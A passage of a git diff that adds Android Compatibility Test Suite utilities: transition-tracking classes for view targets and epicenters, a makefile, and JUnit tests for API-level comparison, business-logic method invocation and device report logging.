+                Log.e(TAG, "onActivityResult", e);
+            }
+        } else {
+            super.onActivityResult(requestCode, resultCode, data);
+        }
+    }
+}
\ No newline at end of file
diff --git a/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForSetsInJavaUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/transition/TargetTracking.java
similarity index 67%
rename from tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForSetsInJavaUtil.java
rename to common/device-side/util-axt/src/com/android/compatibility/common/util/transition/TargetTracking.java
index c4e41f4..7c53921 100644
--- a/tests/libcore/javautilcollections/src/libcore/java/util/tests/AndroidTestsForSetsInJavaUtil.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/transition/TargetTracking.java
@@ -12,17 +12,16 @@
  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  * See the License for the specific language governing permissions and
  * limitations under the License.
- *
  */
+package com.android.compatibility.common.util.transition;
 
-package libcore.java.util.tests;
+import android.graphics.Rect;
+import android.view.View;
 
-import com.google.common.collect.testing.TestsForSetsInJavaUtil;
+import java.util.ArrayList;
 
-import junit.framework.Test;
-
-/**
- * Guava-testlib tests for {@code Set} implementations from {@code java.util}.
- */
-public class AndroidTestsForSetsInJavaUtil extends TestsForSetsInJavaUtil {
+public interface TargetTracking {
+    ArrayList<View> getTrackedTargets();
+    void clearTargets();
+    Rect getCapturedEpicenter();
 }
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/transition/TrackingTransition.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/transition/TrackingTransition.java
new file mode 100644
index 0000000..55b235d
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/transition/TrackingTransition.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util.transition;
+
+import android.animation.Animator;
+import android.graphics.Rect;
+import android.transition.Transition;
+import android.transition.TransitionValues;
+import android.view.View;
+import android.view.ViewGroup;
+
+import java.util.ArrayList;
+
+/**
+ * A transition that tracks which targets are applied to it.
+ * It will assume any target that it applies to will have differences
+ * between the start and end state, regardless of the differences
+ * that actually exist. In other words, it doesn't actually check
+ * any size or position differences or any other property of the view.
+ * It just records the difference.
+ * <p>
+ * Both start and end value Views are recorded, but no actual animation
+ * is created.
+ */
+public class TrackingTransition extends Transition implements TargetTracking {
+    public final ArrayList<View> targets = new ArrayList<>();
+    private final Rect[] mEpicenter = new Rect[1];
+    private static String PROP = "tracking:prop";
+    private static String[] PROPS = { PROP };
+
+    @Override
+    public String[] getTransitionProperties() {
+        return PROPS;
+    }
+
+    @Override
+    public void captureStartValues(TransitionValues transitionValues) {
+        transitionValues.values.put(PROP, 0);
+    }
+
+    @Override
+    public void captureEndValues(TransitionValues transitionValues) {
+        transitionValues.values.put(PROP, 1);
+    }
+
+    @Override
+    public Animator createAnimator(ViewGroup sceneRoot, TransitionValues startValues,
+            TransitionValues endValues) {
+        if (startValues != null) {
+            targets.add(startValues.view);
+        }
+        if (endValues != null) {
+            targets.add(endValues.view);
+        }
+        Rect epicenter = getEpicenter();
+        if (epicenter != null) {
+            mEpicenter[0] = new Rect(epicenter);
+        } else {
+            mEpicenter[0] = null;
+        }
+        return null;
+    }
+
+    @Override
+    public ArrayList<View> getTrackedTargets() {
+        return targets;
+    }
+
+    @Override
+    public void clearTargets() {
+        targets.clear();
+    }
+
+    @Override
+    public Rect getCapturedEpicenter() {
+        return mEpicenter[0];
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/transition/TrackingVisibility.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/transition/TrackingVisibility.java
new file mode 100644
index 0000000..8a5a19e
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/transition/TrackingVisibility.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util.transition;
+
+import android.animation.Animator;
+import android.graphics.Rect;
+import android.transition.TransitionValues;
+import android.transition.Visibility;
+import android.view.View;
+import android.view.ViewGroup;
+
+import java.util.ArrayList;
+
+/**
+ * Visibility transition that tracks which targets are applied to it.
+ * This transition does no animation.
+ */
+public class TrackingVisibility extends Visibility implements TargetTracking {
+    public final ArrayList<View> targets = new ArrayList<>();
+    private final Rect[] mEpicenter = new Rect[1];
+
+    @Override
+    public Animator onAppear(ViewGroup sceneRoot, View view, TransitionValues startValues,
+            TransitionValues endValues) {
+        targets.add(endValues.view);
+        Rect epicenter = getEpicenter();
+        if (epicenter != null) {
+            mEpicenter[0] = new Rect(epicenter);
+        } else {
+            mEpicenter[0] = null;
+        }
+        return null;
+    }
+
+    @Override
+    public Animator onDisappear(ViewGroup sceneRoot, View view, TransitionValues startValues,
+            TransitionValues endValues) {
+        targets.add(startValues.view);
+        Rect epicenter = getEpicenter();
+        if (epicenter != null) {
+            mEpicenter[0] = new Rect(epicenter);
+        } else {
+            mEpicenter[0] = null;
+        }
+        return null;
+    }
+
+    @Override
+    public ArrayList<View> getTrackedTargets() {
+        return targets;
+    }
+
+    @Override
+    public void clearTargets() {
+        targets.clear();
+    }
+
+    @Override
+    public Rect getCapturedEpicenter() {
+        return mEpicenter[0];
+    }
+}
diff --git a/common/device-side/util-axt/tests/Android.mk b/common/device-side/util-axt/tests/Android.mk
new file mode 100644
index 0000000..a4681de
--- /dev/null
+++ b/common/device-side/util-axt/tests/Android.mk
@@ -0,0 +1,29 @@
+# Copyright (C) 2015 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt junit
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE := compatibility-device-util-axt-tests
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/common/device-side/util-axt/tests/src/com/android/compatibility/common/util/ApiLevelUtilTest.java b/common/device-side/util-axt/tests/src/com/android/compatibility/common/util/ApiLevelUtilTest.java
new file mode 100644
index 0000000..3b0f0de
--- /dev/null
+++ b/common/device-side/util-axt/tests/src/com/android/compatibility/common/util/ApiLevelUtilTest.java
@@ -0,0 +1,77 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package com.android.compatibility.common.util;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertTrue;
+
+import android.os.Build;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests for {@line ApiLevelUtil}.
+ */
+@RunWith(AndroidJUnit4.class)
+public class ApiLevelUtilTest {
+
+    @Test
+    public void testComparisonByInt() throws Exception {
+        int version = Build.VERSION.SDK_INT;
+
+        assertFalse(ApiLevelUtil.isBefore(version - 1));
+        assertFalse(ApiLevelUtil.isBefore(version));
+        assertTrue(ApiLevelUtil.isBefore(version + 1));
+
+        assertTrue(ApiLevelUtil.isAfter(version - 1));
+        assertFalse(ApiLevelUtil.isAfter(version));
+        assertFalse(ApiLevelUtil.isAfter(version + 1));
+
+        assertTrue(ApiLevelUtil.isAtLeast(version - 1));
+        assertTrue(ApiLevelUtil.isAtLeast(version));
+        assertFalse(ApiLevelUtil.isAtLeast(version + 1));
+
+        assertFalse(ApiLevelUtil.isAtMost(version - 1));
+        assertTrue(ApiLevelUtil.isAtMost(version));
+        assertTrue(ApiLevelUtil.isAtMost(version + 1));
+    }
+
+    @Test
+    public void testComparisonByString() throws Exception {
+        // test should pass as long as device SDK version is at least 12
+        assertTrue(ApiLevelUtil.isAtLeast("HONEYCOMB_MR1"));
+        assertTrue(ApiLevelUtil.isAtLeast("12"));
+    }
+
+    @Test
+    public void testResolveVersionString() throws Exception {
+        // can only test versions known to the device build
+        assertEquals(ApiLevelUtil.resolveVersionString("GINGERBREAD_MR1"), 10);
+        assertEquals(ApiLevelUtil.resolveVersionString("10"), 10);
+        assertEquals(ApiLevelUtil.resolveVersionString("HONEYCOMB"), 11);
+        assertEquals(ApiLevelUtil.resolveVersionString("11"), 11);
+        assertEquals(ApiLevelUtil.resolveVersionString("honeycomb_mr1"), 12);
+        assertEquals(ApiLevelUtil.resolveVersionString("12"), 12);
+    }
+
+    @Test(expected = RuntimeException.class)
+    public void testResolveMisspelledVersionString() throws Exception {
+        ApiLevelUtil.resolveVersionString("GINGERBEARD");
+    }
+}
diff --git a/common/device-side/util-axt/tests/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutorTest.java b/common/device-side/util-axt/tests/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutorTest.java
new file mode 100644
index 0000000..e8d5d29
--- /dev/null
+++ b/common/device-side/util-axt/tests/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutorTest.java
@@ -0,0 +1,314 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package com.android.compatibility.common.util;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertNull;
+import static junit.framework.Assert.assertTrue;
+import static junit.framework.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.Context;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.AssumptionViolatedException;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
+import junit.framework.AssertionFailedError;
+
+/**
+ * Tests for {@line BusinessLogicDeviceExecutor}.
+ */
+@RunWith(AndroidJUnit4.class)
+public class BusinessLogicDeviceExecutorTest {
+
+    private static final String THIS_CLASS =
+            "com.android.compatibility.common.util.BusinessLogicDeviceExecutorTest";
+    private static final String METHOD_1 = THIS_CLASS + ".method1";
+    private static final String METHOD_2 = THIS_CLASS + ".method2";
+    private static final String METHOD_3 = THIS_CLASS + ".method3";
+    private static final String METHOD_4 = THIS_CLASS + ".method4";
+    private static final String METHOD_5 = THIS_CLASS + ".method5";
+    private static final String METHOD_6 = THIS_CLASS + ".method6";
+    private static final String METHOD_7 = THIS_CLASS + ".method7";
+    private static final String METHOD_8 = THIS_CLASS + ".method8";
+    private static final String METHOD_9 = THIS_CLASS + ".method9";
+    private static final String METHOD_10 = THIS_CLASS + ".method10";
+    private static final String FAKE_METHOD = THIS_CLASS + ".methodDoesntExist";
+    private static final String ARG_STRING_1 = "arg1";
+    private static final String ARG_STRING_2 = "arg2";
+
+    private static final String OTHER_METHOD_1 = THIS_CLASS + "$OtherClass.method1";
+
+    private String mInvoked = null;
+    private Object[] mArgsUsed = null;
+    private Context mContext;
+    private BusinessLogicExecutor mExecutor;
+
+    @Before
+    public void setUp() {
+        mContext = InstrumentationRegistry.getTargetContext();
+        mExecutor = new BusinessLogicDeviceExecutor(mContext, this);
+        // reset the instance variables tracking the method invoked and the args used
+        mInvoked = null;
+        mArgsUsed = null;
+        // reset the OtherClass class variable tracking the method invoked
+        OtherClass.otherInvoked = null;
+    }
+
+    @Test
+    public void testInvokeMethodInThisClass() throws Exception {
+        mExecutor.invokeMethod(METHOD_1);
+        // assert that mInvoked was set for this BusinessLogicDeviceExecutorTest instance
+        assertEquals("Failed to invoke method in this class", mInvoked, METHOD_1);
+    }
+
+    @Test
+    public void testInvokeMethodInOtherClass() throws Exception {
+        mExecutor.invokeMethod(OTHER_METHOD_1);
+        // assert that OtherClass.method1 was invoked, and static field of OtherClass was changed
+        assertEquals("Failed to invoke method in other class", OtherClass.otherInvoked,
+                OTHER_METHOD_1);
+    }
+
+    @Test
+    public void testInvokeMethodWithStringArgs() throws Exception {
+        mExecutor.invokeMethod(METHOD_2, ARG_STRING_1, ARG_STRING_2);
+        assertEquals("Failed to invoke method in this class", mInvoked, METHOD_2);
+        // assert both String arguments were correctly set for method2
+        assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+        assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
+    }
+
+    @Test
+    public void testInvokeMethodWithStringAndContextArgs() throws Exception {
+        mExecutor.invokeMethod(METHOD_3, ARG_STRING_1);
+        assertEquals("Failed to invoke method in this class", mInvoked, METHOD_3);
+        // assert that String arg and Context arg were correctly set for method3
+        assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+        assertEquals("Failed to set second argument", mArgsUsed[1], mContext);
+    }
+
+    @Test
+    public void testInvokeMethodWithContextAndStringArgs() throws Exception {
+        mExecutor.invokeMethod(METHOD_4, ARG_STRING_1);
+        assertEquals("Failed to invoke method in this class", mInvoked, METHOD_4);
+        // Like testInvokeMethodWithStringAndContextArgs, but flip the args for method4
+        assertEquals("Failed to set first argument", mArgsUsed[0], mContext);
+        assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_1);
+    }
+
+    @Test
+    public void testInvokeMethodWithStringArrayArg() throws Exception {
+        mExecutor.invokeMethod(METHOD_5, ARG_STRING_1, ARG_STRING_2);
+        assertEquals("Failed to invoke method in this class", mInvoked, METHOD_5);
+        // assert both String arguments were correctly set for method5
+        assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+        assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
+    }
+
+    @Test
+    public void testInvokeMethodWithEmptyStringArrayArg() throws Exception {
+        mExecutor.invokeMethod(METHOD_5);
+        assertEquals("Failed to invoke method in this class", mInvoked, METHOD_5);
+        // assert no String arguments were set for method5
+        assertEquals("Incorrectly set args", mArgsUsed.length, 0);
+    }
+
+    @Test
+    public void testInvokeMethodWithStringAndStringArrayArgs() throws Exception {
+        mExecutor.invokeMethod(METHOD_6, ARG_STRING_1, ARG_STRING_2);
+        assertEquals("Failed to invoke method in this class", mInvoked, METHOD_6);
+        // assert both String arguments were correctly set for method6
+        assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+        assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
+    }
+
+    @Test
+    public void testInvokeMethodWithAllArgTypes() throws Exception {
+        mExecutor.invokeMethod(METHOD_7, ARG_STRING_1, ARG_STRING_2);
+        assertEquals("Failed to invoke method in this class", mInvoked, METHOD_7);
+        // assert all arguments were correctly set for method7
+        assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+        assertEquals("Failed to set second argument", mArgsUsed[1], mContext);
+        assertEquals("Failed to set third argument", mArgsUsed[2], ARG_STRING_2);
+    }
+
+    @Test
+    public void testInvokeOverloadedMethodOneArg() throws Exception {
+        mExecutor.invokeMethod(METHOD_1, ARG_STRING_1);
+        assertEquals("Failed to invoke method in this class", mInvoked, METHOD_1);
+        assertEquals("Set wrong number of arguments", mArgsUsed.length, 1);
+        assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+    }
+
+    @Test
+    public void testInvokeOverloadedMethodTwoArgs() throws Exception {
+        mExecutor.invokeMethod(METHOD_1, ARG_STRING_1, ARG_STRING_2);
+        assertEquals("Failed to invoke method in this class", mInvoked, METHOD_1);
+        assertEquals("Set wrong number of arguments", mArgsUsed.length, 2);
+        assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+        assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
+    }
+
+    @Test(expected = RuntimeException.class)
+    public void testInvokeNonExistentMethod() throws Exception {
+        mExecutor.invokeMethod(FAKE_METHOD, ARG_STRING_1, ARG_STRING_2);
+    }
+
+    @Test(expected = RuntimeException.class)
+    public void testInvokeMethodTooManyArgs() throws Exception {
+        mExecutor.invokeMethod(METHOD_3, ARG_STRING_1, ARG_STRING_2);
+    }
+
+    @Test(expected = RuntimeException.class)
+    public void testInvokeMethodTooFewArgs() throws Exception {
+        mExecutor.invokeMethod(METHOD_2, ARG_STRING_1);
+    }
+
+    @Test(expected = RuntimeException.class)
+    public void testInvokeMethodIncompatibleArgs() throws Exception {
+        mExecutor.invokeMethod(METHOD_8, ARG_STRING_1);
+    }
+
+    @Test
+    public void testExecuteConditionCheckReturnValue() throws Exception {
+        assertTrue("Wrong return value",
+                mExecutor.executeCondition(METHOD_2, ARG_STRING_1, ARG_STRING_1));
+        assertFalse("Wrong return value",
+                mExecutor.executeCondition(METHOD_2, ARG_STRING_1, ARG_STRING_2));
+    }
+
+    @Test(expected = RuntimeException.class)
+    public void testExecuteInvalidCondition() throws Exception {
+        mExecutor.executeCondition(METHOD_1); // method1 does not return type boolean
+    }
+
+    @Test
+    public void testExecuteAction() throws Exception {
+        mExecutor.executeAction(METHOD_2, ARG_STRING_1, ARG_STRING_2);
+        assertEquals("Failed to invoke method in this class", mInvoked, METHOD_2);
+        // assert both String arguments were correctly set for method2
+        assertEquals("Failed to set first argument", mArgsUsed[0], ARG_STRING_1);
+        assertEquals("Failed to set second argument", mArgsUsed[1], ARG_STRING_2);
+    }
+
+    @Test(expected = RuntimeException.class)
+    public void testExecuteActionThrowException() throws Exception {
+        mExecutor.executeAction(METHOD_9);
+    }
+
+    @Test
+    public void testExecuteActionViolateAssumption() throws Exception {
+        try {
+            mExecutor.executeAction(METHOD_10);
+            // JUnit4 doesn't support expecting AssumptionViolatedException with "expected"
+            // attribute on @Test annotation, so test using Assert.fail()
+            fail("Expected assumption failure");
+        } catch (AssumptionViolatedException e) {
+            // expected
+        }
+    }
+
+    public void method1() {
+        mInvoked = METHOD_1;
+    }
+
+    // overloaded method with one arg
+    public void method1(String arg1) {
+        mInvoked = METHOD_1;
+        mArgsUsed = new Object[]{arg1};
+    }
+
+    // overloaded method with two args
+    public void method1(String arg1, String arg2) {
+        mInvoked = METHOD_1;
+        mArgsUsed = new Object[]{arg1, arg2};
+    }
+
+    public boolean method2(String arg1, String arg2) {
+        mInvoked = METHOD_2;
+        mArgsUsed = new Object[]{arg1, arg2};
+        return arg1.equals(arg2);
+    }
+
+    public void method3(String arg1, Context arg2) {
+        mInvoked = METHOD_3;
+        mArgsUsed = new Object[]{arg1, arg2};
+    }
+
+    // Same as method3, but flipped args
+    public void method4(Context arg1, String arg2) {
+        mInvoked = METHOD_4;
+        mArgsUsed = new Object[]{arg1, arg2};
+    }
+
+    public void method5(String... args) {
+        mInvoked = METHOD_5;
+        mArgsUsed = args;
+    }
+
+    public void method6(String arg1, String... moreArgs) {
+        mInvoked = METHOD_6;
+        List<String> allArgs = new ArrayList<>();
+        allArgs.add(arg1);
+        allArgs.addAll(Arrays.asList(moreArgs));
+        mArgsUsed = allArgs.toArray(new String[0]);
+    }
+
+    public void method7(String arg1, Context arg2, String... moreArgs) {
+        mInvoked = METHOD_7;
+        List<Object> allArgs = new ArrayList<>();
+        allArgs.add(arg1);
+        allArgs.add(arg2);
+        allArgs.addAll(Arrays.asList(moreArgs));
+        mArgsUsed = allArgs.toArray(new Object[0]);
+    }
+
+    public void method8(String arg1, Integer arg2) {
+        // This method should never be successfully invoked, since Integer parameter types are
+        // unsupported for the BusinessLogic service
+    }
+
+    // throw AssertionFailedError
+    @Ignore
+    public void method9() throws AssertionFailedError {
+        assertTrue(false);
+    }
+
+    // throw AssumptionViolatedException
+    public void method10() throws AssumptionViolatedException {
+        assumeTrue(false);
+    }
+
+    public static class OtherClass {
+
+        public static String otherInvoked = null;
+
+        public void method1() {
+            otherInvoked = OTHER_METHOD_1;
+        }
+    }
+}
diff --git a/common/device-side/util-axt/tests/src/com/android/compatibility/common/util/BusinessLogicTestCaseTest.java b/common/device-side/util-axt/tests/src/com/android/compatibility/common/util/BusinessLogicTestCaseTest.java
new file mode 100644
index 0000000..0e779e3
--- /dev/null
+++ b/common/device-side/util-axt/tests/src/com/android/compatibility/common/util/BusinessLogicTestCaseTest.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package com.android.compatibility.common.util;
+
+import static junit.framework.Assert.assertEquals;
+import static junit.framework.Assert.assertTrue;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * Tests for {@line BusinessLogicTestCase}.
+ */
+@RunWith(AndroidJUnit4.class)
+public class BusinessLogicTestCaseTest {
+
+    private static final String KEY_1 = "key1";
+    private static final String KEY_2 = "key2";
+    private static final String VALUE_1 = "value1";
+    private static final String VALUE_2 = "value2";
+
+    DummyTest mDummyTest;
+    DummyTest mOtherDummyTest;
+
+    @Before
+    public void setUp() {
+        mDummyTest = new DummyTest();
+        mOtherDummyTest = new DummyTest();
+    }
+
+    @Test
+    public void testMapPut() throws Exception {
+        mDummyTest.mapPut("instanceMap", KEY_1, VALUE_1);
+        assertTrue("mapPut failed for instanceMap", mDummyTest.instanceMap.containsKey(KEY_1));
+        assertEquals("mapPut failed for instanceMap", mDummyTest.instanceMap.get(KEY_1), VALUE_1);
+        assertTrue("mapPut affected wrong instance", mOtherDummyTest.instanceMap.isEmpty());
+    }
+
+    @Test
+    public void testStaticMapPut() throws Exception {
+        mDummyTest.mapPut("staticMap", KEY_2, VALUE_2);
+        assertTrue("mapPut failed for staticMap", mDummyTest.staticMap.containsKey(KEY_2));
+        assertEquals("mapPut failed for staticMap", mDummyTest.staticMap.get(KEY_2), VALUE_2);
+        assertTrue("mapPut on static map should affect all instances",
+                mOtherDummyTest.staticMap.containsKey(KEY_2));
+    }
+
+    public static class DummyTest extends BusinessLogicTestCase {
+        public Map<String, String> instanceMap = new HashMap<>();
+        public static Map<String, String> staticMap = new HashMap<>();
+    }
+}
diff --git a/common/device-side/util-axt/tests/src/com/android/compatibility/common/util/DeviceReportTest.java b/common/device-side/util-axt/tests/src/com/android/compatibility/common/util/DeviceReportTest.java
new file mode 100644
index 0000000..ab42b32
--- /dev/null
+++ b/common/device-side/util-axt/tests/src/com/android/compatibility/common/util/DeviceReportTest.java
@@ -0,0 +1,154 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package com.android.compatibility.common.util;
+
+import android.app.Instrumentation;
+import android.os.Bundle;
+import android.os.Environment;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.FileReader;
+import java.lang.StringBuilder;
+
+import junit.framework.TestCase;
+
+import org.json.JSONObject;
+
+/**
+ * Tests for {@line DeviceReportLog}.
+ */
+public class DeviceReportTest extends TestCase {
+
+    /**
+     * A stub of {@link Instrumentation}
+     */
+    public class TestInstrumentation extends Instrumentation {
+
+        private int mResultCode = -1;
+        private Bundle mResults = null;
+
+        @Override
+        public void sendStatus(int resultCode, Bundle results) {
+            mResultCode = resultCode;
+            mResults = results;
+        }
+    }
+
+    private static final int RESULT_CODE = 2;
+    private static final String RESULT_KEY = "COMPATIBILITY_TEST_RESULT";
+    private static final String TEST_MESSAGE_1 = "Foo";
+    private static final double TEST_VALUE_1 = 3;
+    private static final ResultType TEST_TYPE_1 = ResultType.HIGHER_BETTER;
+    private static final ResultUnit TEST_UNIT_1 = ResultUnit.SCORE;
+    private static final String TEST_MESSAGE_2 = "Bar";
+    private static final double TEST_VALUE_2 = 5;
+    private static final ResultType TEST_TYPE_2 = ResultType.LOWER_BETTER;
+    private static final ResultUnit TEST_UNIT_2 = ResultUnit.COUNT;
+    private static final String TEST_MESSAGE_3 = "Sample";
+    private static final double TEST_VALUE_3 = 7;
+    private static final ResultType TEST_TYPE_3 = ResultType.LOWER_BETTER;
+    private static final ResultUnit TEST_UNIT_3 = ResultUnit.COUNT;
+    private static final String TEST_MESSAGE_4 = "Message";
+    private static final double TEST_VALUE_4 = 9;
+    private static final ResultType TEST_TYPE_4 = ResultType.LOWER_BETTER;
+    private static final ResultUnit TEST_UNIT_4 = ResultUnit.COUNT;
+    private static final String REPORT_NAME_1 = "TestReport1";
+    private static final String REPORT_NAME_2 = "TestReport2";
+    private static final String STREAM_NAME_1 = "SampleStream1";
+    private static final String STREAM_NAME_2 = "SampleStream2";
+    private static final String STREAM_NAME_3 = "SampleStream3";
+    private static final String STREAM_NAME_4 = "SampleStream4";
+
+    public void testSubmit() throws Exception {
+        DeviceReportLog log = new DeviceReportLog(REPORT_NAME_1, STREAM_NAME_1);
+        log.addValue(TEST_MESSAGE_1, TEST_VALUE_1, TEST_TYPE_1, TEST_UNIT_1);
+        log.setSummary(TEST_MESSAGE_2, TEST_VALUE_2, TEST_TYPE_2, TEST_UNIT_2);
+        TestInstrumentation inst = new TestInstrumentation();
+        log.submit(inst);
+        assertEquals("Incorrect result code", RESULT_CODE, inst.mResultCode);
+        assertNotNull("Bundle missing", inst.mResults);
+        String metrics = inst.mResults.getString(RESULT_KEY);
+        assertNotNull("Metrics missing", metrics);
+        ReportLog result = ReportLog.parse(metrics);
+        assertNotNull("Metrics could not be decoded", result);
+    }
+
+    public void testFile() throws Exception {
+        assertTrue("External storage is not mounted",
+                Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED));
+        final File dir = new File(Environment.getExternalStorageDirectory(), "report-log-files");
+        assertTrue("Report Log directory missing", dir.isDirectory() || dir.mkdirs());
+
+        // Remove files from earlier possible runs.
+        File[] files = dir.listFiles();
+        for (File file : files) {
+            file.delete();
+        }
+
+        TestInstrumentation inst = new TestInstrumentation();
+
+        DeviceReportLog log1 = new DeviceReportLog(REPORT_NAME_1, STREAM_NAME_1);
+        log1.addValue(TEST_MESSAGE_1, TEST_VALUE_1, TEST_TYPE_1, TEST_UNIT_1);
+        log1.setSummary(TEST_MESSAGE_1, TEST_VALUE_1, TEST_TYPE_1, TEST_UNIT_1);
+        log1.submit(inst);
+
+        DeviceReportLog log2 = new DeviceReportLog(REPORT_NAME_1, STREAM_NAME_2);
+        log2.addValue(TEST_MESSAGE_2, TEST_VALUE_2, TEST_TYPE_2, TEST_UNIT_2);
+        log2.setSummary(TEST_MESSAGE_2, TEST_VALUE_2, TEST_TYPE_2, TEST_UNIT_2);
+        log2.submit(inst);
+
+        DeviceReportLog log3 = new DeviceReportLog(REPORT_NAME_2, STREAM_NAME_3);
+        log3.addValue(TEST_MESSAGE_3, TEST_VALUE_3, TEST_TYPE_3, TEST_UNIT_3);
+        log3.setSummary(TEST_MESSAGE_3, TEST_VALUE_3, TEST_TYPE_3, TEST_UNIT_3);
+        log3.submit(inst);
+
+        DeviceReportLog log4 = new DeviceReportLog(REPORT_NAME_2, STREAM_NAME_4);
+        log4.addValue(TEST_MESSAGE_4, TEST_VALUE_4, TEST_TYPE_4, TEST_UNIT_4);
+        log4.setSummary(TEST_MESSAGE_4, TEST_VALUE_4, TEST_TYPE_4, TEST_UNIT_4);
